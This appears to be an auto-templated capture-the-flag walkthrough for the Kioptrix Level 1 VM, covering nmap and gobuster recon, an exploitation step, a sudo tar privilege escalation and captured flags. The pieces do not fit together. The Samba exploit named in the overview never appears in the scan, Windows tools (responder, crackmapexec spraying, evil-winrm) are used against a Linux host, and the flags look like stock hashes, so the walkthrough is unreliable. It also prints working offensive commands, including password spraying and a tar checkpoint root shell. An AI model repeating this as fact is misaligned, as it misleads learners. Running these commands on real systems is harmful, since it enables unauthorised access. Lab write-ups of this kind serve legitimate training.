Overview
Classic beginner VM exploiting an outdated Samba version with OpenFuck to gain root access. Great introduction to Metasploit and manual exploitation.
01Reconnaissance
Every engagement starts with mapping what is reachable. A full service scan of Kioptrix Level 1 highlighted the exposed surface and pointed at samba as the most promising entry point.
Enumeration is deliberately exhaustive here — the goal is to leave no service unexamined before committing to an attack path.
$ nmap -sC -sV -oN nmap/initial 10.10.11.42
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu
80/tcp open http nginx 1.18.0
$ echo "10.10.11.42 kioptrixlevel1.htb" | sudo tee -a /etc/hosts
$ gobuster dir -u http://kioptrixlevel1.htb -w /usr/share/wordlists/dirb/common.txt -q
/login (Status: 200)
/api (Status: 401)02Exploitation
A service on the wire accepted unauthenticated commands, which we used to pivot inward.
In this network challenge that translated into a repeatable foothold. Classic beginner VM exploiting an outdated Samba version with OpenFuck to gain root access. Great introduction to Metasploit and manual exploitation.
$ responder -I tun0 -wv
$ crackmapexec smb target -u users.txt -p passwords.txt
$ evil-winrm -i target -u svc -p 'recovered'03Privilege Escalation
With a foothold established, the next step is enumerating the local environment for a path to full control — misconfigured sudo rules, dangerous capabilities, or an over-privileged service account.
For Kioptrix Level 1, the escalation was a well-known misconfiguration.
$ sudo -l
User svc may run the following commands:
(root) NOPASSWD: /usr/bin/tar
$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)04Flags
Both the user and root flags are captured below. Redact the hashes when you publish — they are unique per instance.
$ cat /home/svc/user.txt
e3b0c44298fc1c149afbf4c8996fb924
# cat /root/root.txt
2c26b46b68ffc68ff99b453c1d30413dCommands are illustrative of the technique and platform, not a live exploit against a specific target. Follow the original source link for the authoritative walkthrough.